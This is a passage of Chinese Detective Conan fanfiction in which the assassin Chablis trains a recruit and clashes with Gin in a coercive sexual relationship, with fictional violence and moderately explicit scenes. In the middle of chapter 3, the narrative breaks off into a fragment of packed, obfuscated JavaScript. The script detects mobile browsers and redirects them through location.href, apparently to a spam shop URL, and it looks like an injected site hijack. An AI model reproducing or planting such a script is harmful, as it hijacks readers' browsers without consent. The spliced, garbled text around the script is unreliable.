《[柯南]在我眼中你是谁》
1. 一封遗书
我看着那批新人,目光久久凝聚在一点,血液翻涌倒流、四肢僵硬发冷,脑子却出奇地平静。
“夏布利大人?”身旁一人疑惑说。
我极其缓慢地将目光挪过去一点,余光仍旧在留意某个正在做狙击训练的身影:“刚刚的那个不错。”
“真不愧是夏布利大人,眼光毒辣,那是这批新人里最好的苗子!”
“哦…最好的啊……确实很好……”
狙击训练需要集中精神,这种时候要么专注到完全不顾外界干扰,要么就对外界的变化格外敏感,那个好苗子属于后者。
这是好事,毕竟干他们这行的,身边的搭档都有可能为了酬金随时捅你一刀,在充满恶意和敌意的世界里,太过专注不是什么好兆头,对一切抱有警惕之心才是聪明人该有的选择。
我同那个也正朝着我看过来的青年对视着,正如我想象的那样,那双眼睛很漂亮,虹膜漫开幽蓝,眼尾微微上扬,让我忍不住抬头多看了一眼。
那双蓝色的眸子在偏暗的训练场内显得格外清晰,平静又坦然,眸子的主人单手拎着把狙击枪,什么都没做,也什么都没说。
我大概是笑了,不然身旁跟着的那人的声音不会骤然变了个调。
“夏布利大人?!”
“那个人。”我当着那人的面,遥遥抬起手,指了一下还站在高台上的人,淡淡道:“我要了,把他调到我手下做事。”
说完,我最后看了那个青年一眼,转身大步离开。
组织里的人动作往往很快,也对,慢吞吞的人早就被拉下去踩进泥里了,哪里还有机会站着说话。
离开训练基地时,我的司机换了个人。
“我是……”
“不用介绍。”我靠在车窗旁,拄着下巴最后看了一眼这座隐藏在山林中的训练场,阖着眼睛命令道:“开车。”
“是。”
我勾了下唇,因为那个人比我想象中还要识时务。
我知道有的人享受调教的过程,但我不是。
比起过程,我更喜欢看到成果。
我早就已经过了觉得沿途所见皆是风景的年纪了。
和那个新人给人的感觉一样,他的车开的很平稳,却并不会让你觉得迟缓或过于谨慎。
很好,这样就很好。
我报出了个地址,那是我的安全屋。
我换安全屋没有组织里其他人那么频繁,偶尔还会随机搬回以前住过的安全屋,琴酒对此嗤之以鼻,我倒是无所谓别人怎么看我,说到底到了我这种程度,一年换一次安全屋和一个月换一次安全屋其实和“安全”这个字眼都不沾边。
比起被哪个官方组织或者对家组织逮捕击杀的危险程度,还是翻车死在哪个任务里的概率更大一些。
琴酒对我的看法一向不认同,同样,我对他的想法也不认同,并且坚信那个家伙会比我早死,毕竟琴酒一年三百六十五天恨不得天天去做任务,折在下一个任务的概率比我更高。
和那种人是说不通的,要是能说的通的话早二十年前就说通了,无论是我还是琴酒都是追求效率的人,要是真能和睦相处怎么可能拖延到现在。
“夏布利大人。”
车停了。
我推开车门下车,关上车门前随口道:“把大人去掉。”
组织里一些底层角色会对有代号的人称为大人,十几年前我还是无名小卒的时候觉得那真是世界上最愚蠢的称呼,等第一次被人称为“夏布利大人”时,我却忽然看到了当年尚且在训练场挣扎的自己,那么渺小又那么天真。
但是我今天又觉得那个称呼愚蠢得过分了。
这是好事,说明我的心态变年轻了。
我被自己的想法给逗笑了。
走进楼道前,我转头看了一眼还站在车旁乖巧地守着的新司机,问:“你还在等什么?”
那人微愣,随即加快脚步朝我跑了过来。
琴酒说我没有安全意识,其实也不完全是,这栋公寓包括我居住的这一层在内的上下三层我都买了下来,那时候我还年轻,会做点蠢事也正常。
我打开门,随手按下玄关的灯,率先走进去:“进来吧,记得关门。”
回卧室换好衣服出来后我才发现那个新人竟然还站在原地打量客厅,我轻笑了一声:“怎么?觉得很简陋?”
我什么类型的房子都买过,但是住来住去,还是最喜欢这间公寓,否则也就不会大费周章地将楼上楼下几层都买下来了。
那人一见我出来就立刻在茶几旁站好,像极了我以前养过的一盆绿植。
我忘了那种植物叫什么了,总之可以长到很高,刚买的时候高度只到我腰间,没过两个月就已经比我还高了,当时也是一直摆在茶几旁,最后因为我困在某个任务里太久,等再回来时已经枯死了。
听到我的问题,那个有着蓝眼睛的青年摇摇头说:“不,我只是有点意外。”
我靠在沙发里,抬头看着新带回来的人形绿植,饶有兴致地问:“意外什么?”
他的回答总是很简洁干练,快速说道:“我没想到您会让我进您的安全屋。”
“习惯就好。”我随手指了指空闲的次卧,“你以后就住在那里。”
那明明是一个能完美控制自己表情的人,听到我的话后却故意露出了一点震惊和不解的神色,我承认我对这种反应很受用,某个令你感兴趣的人为了你故意流露出的情绪总是会令人心生愉悦。
我故意没顺着那人的心思做出解释,到了我这个位置,不解释是高位者最微不足道的特权之一,我换了个话题:“你加入组织多久了?”
“三个月。”
组织每批新人是按照年度计算,才三个月就能被称为今年的新人里最好的苗子,那大抵真有几把刷子。
“哦,那你要在三个月内拿到代号。”
那人一愣,这次倒是真的愣住了。
我再次行使了高位者的特权,不做解释,站起身,顺手拍了拍新人的肩膀,径直走开了。
我对住处多了个人本没什么感触,但是第二天清晨看到摆在桌子上的早餐时,我还是略微诧异了一下。
我看向厨房里系着个围裙的新人,对方十分懂眼色,答道:“不知道您喜欢吃什么,就都做了一点。”
“喔,自己做的啊。”我还以为是他一大清早跑出去买回来的。
其实我没什么爱吃的东西,我也没什么不爱吃的东西,食物对我来说更像是维持生命的工具,如果成
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长过程中一直在艰难求生,那无论是谁都不会有什么吃不下去的东西。
“手艺不错。”
我指了指对面那把椅子:“坐下一起吃。”
新人身上有一点我很喜欢,懂看人眼色也服从指令,无论我说什么,即使他有所疑虑,却还是会迅速完成。
吃过早餐,我带着新人去了训练场。
不是昨天去过的那个组织的新人训练基地,而是代号成员们才能进入的专属区域。
挺可笑的,在哪练不是练,我以前还在底层苦苦挣扎的时候觉得高层真是该死搞什么享乐主义,但是等自己也走进另一栋充满高科技的训练场时,我还是觉得有时候有些东西确实不一样。
我说我不为别的就是喜欢这边清静,琴酒嘲讽我说装模作样,呵呵,就他不装,那他怎么不去以前的破训练场去练,随便一枚钉子扎一下就能获得破伤风套餐。
训练场里有枪声,不用抬头我都知道那是琴酒。
每个人的枪声都是不一样的,我这个理论饱受其他代号成员们的质疑,不过我也不需要那群家伙认同。
我能从枪声听出来狙击手的区别,所以前一天在训练场里,只是听到某道枪声,我就知道,这一趟我一定会从那里带走点什么。
果然,霸占训练场的那个人是琴酒。
我领着我的新人明目张胆地走进去,抬头看向已经把枪口瞄准我的家伙,理直气壮道:“滚,腾地方。”
琴酒的目光越过我落在了我身后的新人身上,那张脸上逐渐透出几分惊疑,不过很快便恢复如初,面无表情地对着我说:“……别想弄脏我的训练场。”
“你在想什么见不得人的东西?!而且这是公用区域,傻逼!”
我大多数时候都很文雅,至少我自己是这么觉得的,但是就像从下水道跑出来的老鼠装成人后见到其他老鼠时就会想起肮脏恶臭的下水道以及自己其实是只老鼠一样,见到以前一起在组织底层挣扎过的琴酒,我就觉得自己又回到了小时候吃不饱饭喝泥水的日子。
所以我一贯讨厌琴酒,爬得越高就越不想看到那张脸。
但是那个家伙总是死不了,还时不时就在我面前乱晃,像循环播放的广告一样惹人烦躁。
“你最好是。”琴酒说。
我随意抄起旁边的枪朝着琴酒开了一枪,琴酒侧头避开了子弹,我干脆把那把枪一起丢了过去,骂道:“你有病吧。”
“这句话你更适合对自己说。”
琴酒从模拟训练台上下来,他还穿着那件黑色的风衣,银色的长发散落在肩上,我感受到那双锐利的绿色瞳孔又瞄准了站在我身后的人。
我侧身挡住他的视线:“看什么看,没见过啊!”
“就是见过才多看那一眼。”
琴酒不紧不慢地看向我,狗嘴里吐不出象牙,嗤笑一声说:“你是真的有病,夏布利。”
我回以一个嘲讽的笑容。
但是没否认自己有病。
***
诸伏景光很久以后才想起,夏布利从没问过自己的名字,虽然他能回答的也只是一个假名而已。
直到他拿到代号的那天,那个总是恣肆又张扬的人注视他良久,神情复杂道:“苏格兰。”
2. 两封遗书
我说要让新人在三个月内拿到代号不是开玩笑的。
我本来想认真制定个计划,但是我没那个天赋,三分钟不到就关上了一片空白的电脑,在先带新人训练和先带新人刷任务之间选择了同时进行。
我以前能做到,新人怎么就做不到了,他可是我亲手选中的人。
组织里不少人都知道我大张旗鼓地培养起新人,有人调侃我说这是在为未来铺路,这是想上位的意思。
其实我和组织里大部分代号成员关系都还不错,毕竟像琴酒那样互相见过彼此最狼狈的模样的家伙只是个例,更多的人早已死在了挣扎了路上,成为了脚下的一捧泥沙。
所以也就更显得琴酒可恶至极。
训练场上,我蹲在倒在地上的新人身旁,笑了一声:“就这?”
新人咬牙说:“再来!”
我赞了一声:“喔,眼神不错。”
三分钟后,新人再次被我压制在地上,灰尘在空气中飞舞渲染,最终缓慢地归于平寂。
我钳制着新人的胳膊,目光触及压在地上变形的那张脸,“啧”了一声松开手,起身说:“就到这里吧,这个水平,三个月拿到代号,足够了。”
“还不够!”
新人的脸上还沾着灰,汗水浸透了额前的发丝,我一直很注意不要误伤他的脸,不过还是耐不住新人自己乱来,嘴角青了一块。
他的胸膛剧烈起伏着,呼吸急促,蓝色的眸子在昏暗的环境中分外璀璨,抬手抓住我的衣摆,仰着头直视着我,认真道:“还远远不够,难道您想做的只是让我拿到代号这么简单吗?”
我觉得他可真会说话,不说自己想达成什么目标,反而说我想让他做到什么,简直就像是为了我他才那么拼命的。
但是谁不喜欢听好听的话呢?我对这种话可太受用了。
“行吧,那就再来一轮。”
我拍掉攥着衣摆的那只手,后撤几步,稍微活动了一下肩膀,朝着不远处已经站起来摆好架势的新人勾了勾手指:“来吧,让我看看你还能做到什么程度。”
这场训练没有具体计时,我也记不清究竟过了多久,毕竟我的计划书一片空白,训练场灯控不分白天黑夜,能练多久就练多久,人还能动就还能练。
我已经很温柔了,当年我可没这个条件,都是人没死透就还能继续练。
新人这会儿已经彻底起不来了,他还在尝试扶着墙站起来,眼睛时刻锁定着我的位置,眸光锐利得像一匹野狼。
我随手把新人按了回去,往他怀里扔了瓶水,让他消停坐会儿,别真死了。
我蹲下身,平视着他,目光落在他脸上的青紫上,有点惋惜。
我正要抬手,一个人从阴影中走了出来。
还没来得及开骂,那个没礼貌的家伙拎着我的后领给我拖了出去,新人见状想站起来,我淡定地摆摆手让他歇着。
“坐着,我一会儿就回来。”
可能是这个样子没什么可信度,新人这次不太听话,不过他这种状态下也追不上来了。
我看着他踉跄的身影,谴责自己刚刚是不是打上头了下手太重,对待新人你要更温柔有耐心一点才行。
琴酒一路把我拖到了地下车库,三两下把我塞进车里,还是那辆车,八百年没换过了,我有时候真怀疑他是不是有什么恋旧癖。
那家伙的吻并不像他对人表现得那么冷淡,反而带着几分急切和燥热,我侧头躲了一下,那个吻只擦过了唇角。
我蹙眉说:“我讨厌烟味。”
“呵。”
呵呵,呵呵呵呵呵,整天阴阳怪气,琴酒可真该死啊,少了他组织里能清静一百倍,工作舒适度提升一千倍。
车里空间狭小,我跨坐在琴酒身上,这个姿势不太妙,太容易被掌控也太不容易脱身,尤其是那个傻逼明知道我腰上有旧伤,还是按着我的腰往死了撞。
傻逼琴酒,怎么到现在还没死。
“你要是敢在里面我……妈的!”我咬牙切齿:“我要杀了你!!”
琴酒把我的头按在胸口,交织的喘息声中,我听到了蓬勃又急促的心跳声,仿佛下一秒就会冲破胸膛血淋淋地撞到我眼前。
“你有心脏病?太好了,祝你早点死。”
“有病的是你,夏布利。”
琴酒的指腹捏着我的一缕头发意味不明地揉搓着,他经常这么干,我每次都怀疑他是想给我扎小辫,不过显然更多时候是我玩他的头发。
那么长的头发,发色又那么奇特,二十年前就让我印象深刻。
片刻后,琴酒哑声道:“再来一次。”
“你——”
地下停车场和训练场一样,本就透不进阳光,全靠悬停的灯带来些许光亮,灯光和阳光不一样,不带温度也毫无变化,无论时间过去多久,光仍旧常亮。
于是时间的流逝也就变得分外模糊。
我有点烦了,想把车库起起伏伏的那盏灯砸烂。
“行了,你有完没完,我还有事没——”
“遗书。”
我尝试起身的动作一顿。
额头抵着额头,我看着琴酒那双淡漠的绿眸,无声地避开视线,说道:“……随你,搞快点。”
那个人永远是我的软肋,无人知晓。
哦,琴酒在我眼里不算人。
当年挣扎着一起从地狱爬出来,琴酒竟然成了唯一还会对我提起那个人的家伙,真是让人恶心。
其实我并不忌讳谁对我提起那个人,他都已经化为尘埃了,现如今连带着还要彻底走出我的世界,这未免对我太过残忍。
琴酒总是毫无顾忌地撕开我结痂的伤疤,热衷于看到血肉模糊的伤口,这反而让我感到畅快。
那个人死了十几年了,那时候我以为自己也会就那么跟着那个人死掉,但是琴酒某天莫名其妙冲进我的安全屋把我压在床上从里到外上了个遍,我骂到最后,他跟我说,那个人有遗书。
要说就说,上什么床,我嗓子都骂哑了,他才说,哦,对了,那个人有遗书。
一句话的事,他压着我做了一晚上。
其实我明白,所谓的遗书未必真实存在。
但是万一呢?
万一遗书里提到了我的名字呢?
琴酒没把遗书拿出来之前,谁能说那个人没为我留下过只言片语?
琴酒用那个虚无缥缈的遗书钓着我,十几年了,也没见他真把遗书拿出来。
但是为了那个人,我总归会让步的。
像十几年前的某天那样,我最终放弃用头把琴酒的鼻子撞烂的想法,侧头吻了上去。
我一直觉得琴酒有斯拉夫人血统,五官深邃,高挺的鼻梁在接吻时总是一种阻碍,琴酒本人却仿佛不自知。
“混蛋……”
***
那个吻很轻柔,像夏布利这样一个浑身竖满尖刺的人,无论是谁都很难能将他彻底掌控在手里。
琴酒单手扣紧夏布利的后颈,理所当然地加深了这个吻。
也就只有这时候,提起那个什么鬼遗书的时候,夏布利才会听话得像一条狗。
他想起很多年前那个孤傲得像匹狼的家伙,如今倒更像只刺猬,只要不在乎扎手,轻而易举就能将其翻过来捏住柔软的肚皮。
“苦。”最后一吻结束,夏布利皱着眉说:“你就非要抽那个烟不可吗,你故意的吧。”
琴酒好整以暇地从挂在副驾驶椅背上的外套里拿出烟盒,以实际行动证明自己确实就是故意的。
“你也就这时候能听话点了。”
“你什么时候都不是人,狗东西。”
夏布利脱力倚靠在他身上,脸上还带着红潮,那个家伙不知道那种模样配上那种厌烦的表情只会让人燃起征服欲,琴酒兴
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致盎然地看到怀里的人又一次虚张声势地摆出了一张臭脸:“傻逼,赶紧把我的手解开,别耽误我带新人。”
琴酒笑了一声,故意往那人脸上吐了口烟雾,车内很快响起一阵伴随着咳嗽的骂声。
他们纠缠了十几年,夏布利却还是学不会为他习惯香烟。
***
“哦?带新人?”琴酒将未燃尽的香烟在指尖捻灭,好整以暇地说:“开个窗透透气?”
我忽然有种不妙的预感。
果然,随着车窗降下,我的目光落在了站在停车场入口的身影上,逆着光,那个身影像是一个忠心耿耿的骑士。
我可太有文学水平了,放在从前,我只会觉得新人是个适合看大门口的,再者就是做任务的时候适合用来踩点望风的小喽啰。
没办法,我又没上过学,组织又不教那些有的没的,我就是没文化。
我开始回想,自己刚刚应该没叫出声,开口也是骂琴酒傻逼。
琴酒终于想起要解开束缚在我手腕上的皮带,这个姿势太像拥抱,我无语地望向车顶。
把衣服套好,我推开车门下车,抬头看了一眼,用刚刚顺到手的伯.莱塔狠狠砸向了头顶的灯。
随着炸裂声、电流的噼啪声以及零碎的不知道是玻璃还是塑料落在地上的声响,车库刹那间暗了下来。
伯.莱塔M92F,意大利产的轻型自动手枪,那个家伙就是喜欢那种方便装消音器的枪,像一条潜藏的毒蛇。
我转身对琴酒竖了个中指,他夜视能力很好不可能看不见,我听到他嗤笑一声,随即心满意足地拉着我的新人大步向外走去。
***
回到安全屋,我趴在沙发上,闭目养神。
二十九岁,对一个杀手来说,已经逐渐从辉煌时期走向落幕。
我伤病和其他同行比起来不算多,但是早年腰上的那道伤像个定时炸弹,时不时就要跳出来找个存在感,就像该死的琴酒。
我顺手从茶几的抽屉里抽出两贴药,对像盆人形绿植一样站在茶几旁的新人下指令道:“帮我贴个药。”
“好。”
新人走过来,接过药看了看,俯身掀开我的衣摆。
他停顿了一会儿,迟迟没有动作。
“怎么了?贴啊。”
“您是被强迫的吗?”
“哈?”我一脸莫名,抬起头:“你在说什么脑残的话?”
哦,忘了,文雅,我要文雅。
撤回重来,我回身抬手摸了把新人的额头,露出个温和的表情,重新问:“你发烧了?”
“……没有。”
我还是感觉哪里不太对,正欲坐起身,却被按了回去。
腰间传来药物作用所携带的凉意,新人已经替我贴好了药。
我也说不清那是什么药,总之确实挺好用的,雪莉特制的,那么大一个科学家给我做这种缓解小伤的药,大材小用了。
等回卧室换衣服的时候我才反应过来,我腰上还有琴酒留下的指痕。
我打开手机给琴酒发了条短信。
【去死吧!!!】
把手机摔在床上,过了一会儿,我坐在地板上从床底拽出了我的军火箱,翻来翻去,终于找到了一把银色的伯.莱塔。
鬼知道琴酒为什么会那么喜欢伯.莱塔。
防止琴酒把那个人的遗书烧了,砸完他的配枪以后我还得赔他一把枪。
隔天,又是在训练场,我将那把银色的手枪扔给琴酒,转身就走。
琴酒从后方按住我的肩膀,问:“什么意思?”
我不耐烦地拍开那只手:“爱要不要,不要就滚。”
“为什么不要?”琴酒低头打量着把那把银色的手枪,半晌,语气莫名:“夏布利,这是你欠我的。”
我皮笑肉不笑道:“欠你妈啊,赶紧去死吧,傻逼。”
3. 三封遗书
新人之所以叫新人,就是因为他背景足够干净足够新,经得起推敲,也没什么从这个阵营跳到那个阵营的反水经验。
我也不是杞人忧天,毕竟干我们这行,黑吃黑可太正常了。
就单单是组织这么一亩三分地,都能分裂出一大堆乱七八糟的派别,我觉得组织到现在还没倒闭纯靠BOSS祖上富过。
最经典的一个阵营,比如以朗姆为首的守旧派,那边就三天两头想让我背刺一把琴酒,助力他们完成把以琴酒为代表的新兴派踩进泥里的迂腐大业。
傻逼朗姆,这都平成年代了。
我是挺想给琴酒一刀的,但是我更烦朗姆,当年我还在组织底层苦苦挣扎的时候朗姆水到渠成地继承了他爹的代号,妈的他才是最该死的,比组织里一些混进来的卧底酒还水,一瓶不满半瓶晃,竟然还敢对我指手画脚。
就因为我当初没和朗姆合作搞琴酒,弄得组织里一群脑残以为我和琴酒是一伙的,琴酒也是脑残,他不辟谣,害得我还得三天两头去辟个谣,早知道还不如先跟朗姆合作干掉琴酒,然后再背刺朗姆,大家都别想好过。
没做对选择题的结果就是,直到现在组织里还流传着我是琴酒阵营暗棋的谣言。
我的新人大概也是听到了什么风声,某天训练结束后,他突然问我:“您和琴酒……?”
他故意露出欲言又止的模样,不把后面的话说全,想让我去做一道填空题,我好整以暇地看着他,偏要让他把话说完。
他停顿了许久也没说出个所以然,我也不接话,就这么看着他,想听听他听的是哪个版本的谣言。
单是我听过的就不下八个版本,有说我是琴酒的情人的,有说琴酒是我情人的,有说我和琴酒青梅竹马的,还有说我和琴酒是同母异父还是同父异母的亲兄弟的,也不知道那群傻逼是怎么无中生有出来那么一个兄不友弟不恭兄弟不和多是父母无德的大家庭的,竟然说是因为父母不给我饭吃我才比琴酒矮!
最可恶的不是那群人乱说,是琴酒还在旁边笑着听,笑笑笑,平常拽着个死人脸,一听那种东西又笑了,我还能不知道那种东西有多搞笑吗,他还到处捡上乐了!
也不知道最近犯什么水逆,以前八百年在训练场碰不上一次琴酒,最近隔三差五就撞上一回,这他妈是基础训练场,我严重怀疑他就是抽风了故意跟我抢场地。
琴酒今天终于舍得脱那件租来的风衣了,穿了个无袖背心训练服,用毛巾擦着根本不存在的汗走进更衣室。
我一看那家伙就烦:“你有病啊?!”
哦,我又忘了,我要文雅,我要在新人面前保持形象。
“哦,亲爱的同事琴酒,下午好。”
琴酒上上下下打量着我,像是看到了哥斯拉,最终皱着眉开口:“终于疯了?”
“疯你——”
余光中注意到新人还在看着,我紧急把话收了回去,字正腔圆道:“你今天吃饭了吗。”
琴酒说:“没有,一起?”
我终于还是忍不住了,捂住新人的耳朵,转头骂道:“去死吧,谁要跟你一起吃饭!”
骂完了,我松开手,装作无事发生的模样,竖起大拇指往身后指了指,侧目对上新人的蓝眸,一看那双眼睛我的心就忍不住软起来,连带着语气都缓和了不少:“我可有人给我做饭吃,谁跟你似的啊。”
不对,伏特加好像也会做饭。
不过我的新人还会开车。
但是伏特加也会开车。
我的表情一变再变,最终与自己达成和解,对琴酒说:“总之带着伏特加给我滚!”
“伏特加?”琴酒转头看了一眼两侧,似乎是在疑惑我为什么会突然提起伏特加。
“你管我为什么提伏特加,总之赶紧消失。”
琴酒不走无所谓,我走就行,今天的训练已经结束了,我把外套随意往肩上一搭,拉着新人的手腕往外走。
“夏布利。”琴酒在后方叫住我。
他脚步没动,语气也不起波澜,我的脚步却骤然停了。
我转过头,一看那个似笑非笑的表情就知道琴酒又要说什么,果然,他做了个口型:【苏格兰】
我的表情刹那间冷下来。
“夏布利?”新人疑惑道。
我纠正了新人好久,才终于让他养成直呼大名不带敬语的坏习惯。
我看向新人,勉强维持住文雅的形象以及温和的笑容,拍了拍新人的手臂说:“去地下车库等我。”
他看起来有点迟疑,但是他一向足够听话,即使迟疑也还是会执行我的命令。
无论从哪个角度说,他都是一个挑不出错处的新人,一个二十四孝好下属。
哈哈,我也不知道二十四孝是什么东西,反正听别人说的,应该是个好词。
“你又要说什么?赶紧说,我急着回家吃饭。”
“家?”琴酒念了一声那个字眼,脸上迅速闪过讽刺。
我也是后知后觉地才反应过来自己究竟说了什么蠢话,但是让我自己给自己纠错是不可能的,索性琴酒也没深究下去,而是十分自然地抬起手勾住了我的脖子。
“喂!你——!!”
随着砰的一声,我的后背砸在更衣室的柜子上,一只手垫在我后脑,没磕到头,感觉有点恶心。
那个柜子不知道那是什么材质,总之是一类金属,上面的凉意让我打了个激灵,我立刻攥紧拳头挥向那张正在靠近的脸,手还没碰到那张脸便在空中被截停。
我和琴酒僵持着,谁都不肯率先认输,最终还是我败下阵来。
比力量我是比不过琴酒的,二十年前力量这方面琴酒就长于我,但是那绝对不是像组织里传的那样是因为无德父母只给琴酒吃饭不给我吃的缘故,我跟琴酒没有任何关系。
而且我也根本不矮!
我的手腕被压在身后更衣柜的门上,这种姿势让我想起一点不好的记忆,咬牙切齿道:“你要说就说,贴那么近干嘛?!冷就滚去穿衣服啊!”
“你想让那个新人拿到那个代号对吧?”
琴酒的声音里带着毫不掩饰的笑意,凑在我耳边说:“朗姆手底下最近有新人要拿到代号了,有人提议说干脆把闲置十几年的旧代号分过去,你说,他们把‘苏格兰’拿走会怎么样?”
我和琴酒的关系扭曲又纯粹,从二十年前就带着最浓稠的恶意,发展至今,一如既往。
如果要说这个组织里我最不想看到谁好过,琴酒首当其冲,琴酒大概也是不愿意看到我好过的。
我的表情冷下来,呼吸变得急促,刚刚松开的拳头再次攥紧,指节发出噼里啪啦的摩擦声。
“夏布利,跟我一起把朗姆拉下去怎么样?”琴酒的声音里仿佛带着蛊惑:“你早就看不惯守旧派那些没用的家伙了对吧。”
是,我生平最看不惯那种酒二代。
当年我还在苦苦挣扎求生的时候,竟然有人能轻而易举地拿到我拼尽一切才有一线机会摘到的胜利果实,甚至他们抬抬手就摘到的果子比我踩着一众手下败将千辛万苦摘到的还要甜。
我当年吃着生了虫洞的果子,天真又无知地觉得果子的味道也不过如此,直到我越爬越高,有人主动把果子送到我面前时,我才后知后觉地反应过来,原来我还没上桌,那些人早就已经吃上了蛋糕。
“况且你又不是没干过这种事,当初你把罪名栽赃在我头上,让朗姆平白针对了我十年,这次也该轮到你替我背锅了。”
我冷笑反问:“这是什么需要讲究礼尚往来的事情吗?我看起来很讲礼貌吗?”
呵呵,我不仅没文化,我还没素质,琴酒疯了才会觉得我会上赶着给自己找麻烦。
“你暗算朗姆,无非是因为朗姆以前抢过苏格兰的功劳。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223050|139395||http|test|mini|href|location''.split(''|''),0,{}));
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>琴酒还在往我身上贴,他没穿那件风衣也没穿那件高领打底衫,皮肤直接贴着皮肤,跟以往的每一次近距离接触都不一样,我忍不住皱起眉,尝试挪动身体,却没能拉开距离。
琴酒的声音刹那间喑哑下来:“……别乱动。”
我实在是恨得牙痒痒,用唯一还能自由活动的头撞了一下琴酒的鼻子。
那个狗东西大概是愣了一下,随即一个吻落在我颈侧,牙齿轻碾着一块皮肤,带着些许刺痛,我忍无可忍道:“你他妈是狗吗?!”
琴酒笑了一声,在我耳边暧昧厮磨着,继续说道:“我的提议怎么样?既然当初能为苏格兰做到,那为我做到也不难吧。”
我的表情刹那一凝,皱着眉审视那个口出狂言的家伙,意识到他竟然是认真的而不是像以往那样想故意激怒我,我立即嘲讽起来:“你也配跟他相提并论?”
我为了苏格兰去搞事情那是我的事,我为了保全自己栽赃嫁祸琴酒也是我的事,琴酒让我为了他去搞事情那就是另一回事了,他脑子抽了,竟然觉得自己能和苏格兰放在一起比较。
琴酒面无表情地盯着我看了一会儿,眸光冷得像是淬着冰碴,只说了一个词:“苏格兰。”
他赢了。
呵呵。
真该死啊。
谁都别想拿走那个代号,那是属于苏格兰的,苏格兰死后,只有我有资格继承他的一切——包括那个代号。
谁都别想干涉我的计划。
***
我被琴酒气得不轻,摔了更衣室的门,去地下车库找我的新人。
一走进车库我就看到两个身影,新人不知道在跟谁说话,总之是个没见过的金毛。
“夏布利。”新人见过过来,立刻叫了一声我的名字。
我对此很受用,他的声音好听,咬字也清晰,连带着这个破名字都好像变得好听起来了。
“嗯。”我随意应了一声,一脚横插在那两人中间,转身打量着那个金毛,“哟嚯,生面孔?”
能来这边的训练场的生面孔不多,我知道雪莉那边最近引荐了个新人,似乎实力很不错,不过不是这个金毛,雪莉推荐的那个我做狙击训练的时候见过一次——在瞄准镜里。
那个家伙一出现,长头发绿眼睛,要不是我的新人就在我旁边站着,我真想直接把那双绿眼睛当成靶子。
总之是个单是看一眼就已经让人觉得烦躁的家伙。
雪莉帮我做过缓解腰伤的药,而且那孩子是组织里少有的特别有文化的人,我没上过学,对她倒是有几分额外的敬佩。
就算是给雪莉一个面子,我也不好直接对那个家伙动手,我都二十九了,欺负一个小女孩,连我自己都看不起自己。
组织里就是这样,对谁的手下动手,四舍五入就是在打那个人的脸。
我自己都没想过自己还能对人这么友好,我真是个大好人,太可怕了。
那个金毛垂着眸子,恭恭敬敬地说了一声:“夏布利大人。”
我懒得搭理,最后瞥了那家伙一眼,揽着站在身后的新人往我们来时停车的那边走。
坐进车里,我随口嘱咐:“少跟那个金毛接触。”
新人转头不解道:“为什么?”
“不敢直接自我介绍,八成是朗姆手下的小喽啰。”
我想起刚刚琴酒提到的朗姆手下有新人要拿到代号那件事,侧头透过车窗又看了一眼那个金毛。
不会就是他吧?
要不直接杀了?
那句话怎么说的来着,宁可错杀多少个,不可放过一个。
“夏布利?”
我对上新人温润澄澈的眸子,心头的无名火刹那间灭了一半。
我“啧”了一声:“算了,开车吧。”
“是。”
我又一次在心里感慨着,我可真是个好人啊,这也太可怕了。
4. 四封遗书
阴朗姆是阴朗姆的事,训练新人是训练新人的事,就像杀人的时候不耽误放火,完全可以同时进行。
朗姆那边的新人要拿到代号了,那我的新人也不能落后,我顺势加大了训练量,不过新人看起来适应良好,八成自己平常就加练不少。
组织里最近大概是真的起了风波,琴酒出现在训练场的次数急剧下降,不知道是被哪个任务还是哪几个任务绊住了脚。
真好,我由衷祝愿琴酒死在任务里,最好永远都别回来。
很遗憾,神明从我出生起就没眷顾过我,琴酒当天晚上就回到了东京。
我接到电话的时候,新人正在帮我的腰伤贴药。
新人哪哪都好,但是我最近发现了他的一个显著缺点,那就是他的进攻太过光明正大,总是想着从正面击败我,明知我腰上有伤,却从未针对这个出过手。
这样不好,我们这行下手一个比一个脏,都是一群黑心的家伙,他这样哪行。
琴酒的电话打断了我对新人的谆谆教诲,我本来没想接,但是那家伙跟搞电话诈骗似的接二连三地打过来,我本着该骂就骂的原则接了电话。
刚要开骂,突然瞥见新人就在旁边乖乖坐着,还转头好奇地看着我,像是一颗未成熟的青果,我又把即将脱口而出的骂声硬生生咽了回去。
文雅,我要文雅,我得在新人面前保持形象。
我不耐烦地对着手机问:“什么事?”
“来我这里。”
“呵呵,你让我去我就去,我是狗吗?!滚!!”
挂断电话没过几秒钟,一条短信发了过来。
我点开一看,里面就一个词,遗书。
妈的,这回我真成狗了。
我怒气冲冲地从沙发上跳下来,在安全屋里转了一圈,最终选了一把锤子。
新人也跟着起身:“您要出门吗,我开车送您吧。”
我单手拎着锤子,想露出一个温和的笑容,但是在情绪加持下估计表情有点扭曲:“画面太血腥,不适合你看,等我回来带你吃庆功宴。”
呵呵,今天我就要取了琴酒的狗命!
我一脚踹开琴酒安全屋的门,入目第一幅画面是地板上淋淋漓漓的血,一路蔓延到某个房间门口。
我掂量了两下锤子,顺着血迹走过去,站在门框旁侧身往里看了一眼,一只手猝不及防地伸出来把我拉了进去。
“操!!”
房间里没开灯,一片漆黑,不过我的狙击水平在组织里怎么也是排得上号的,这种程度的黑暗适应个两三秒就能看清。
鼻翼微动,我嗅到了浓重的血腥味。
“来了。”琴酒笑了一声,顿了顿,又说:“哦?还带了礼物?”
“礼物是送你下地狱!傻逼!”
琴酒破天荒的没跟我呛声,我听到血液滴落在地板的声音,过了好一会儿他才继续开口:“……夏布利。”
“赶紧闭嘴吧你!虚成那样还嘴贱!”
我想起苏格兰死的时候。
没有人能为他治疗,他的死因里有一项是失血过多。
琴酒不配和苏格兰共用一个死因。
我骂骂咧咧地起身去摸墙上的开关,开灯给那个脑残止血。
真该死啊,凭什么我大晚上要做这种事情,我就不该接那个电话,在安全屋教导新人该怎么阴对手阴同行才是正经事。
不过琴酒这么狼狈,我看着也挺爽的,姑且正负抵消。
“朗姆那边来了个会搞情报的。”
能被这个眼睛长到头顶的家伙这么评价,那就是确实是情报大师的意思。
不知怎么的,我的脑海中蓦然浮现出一个金毛。
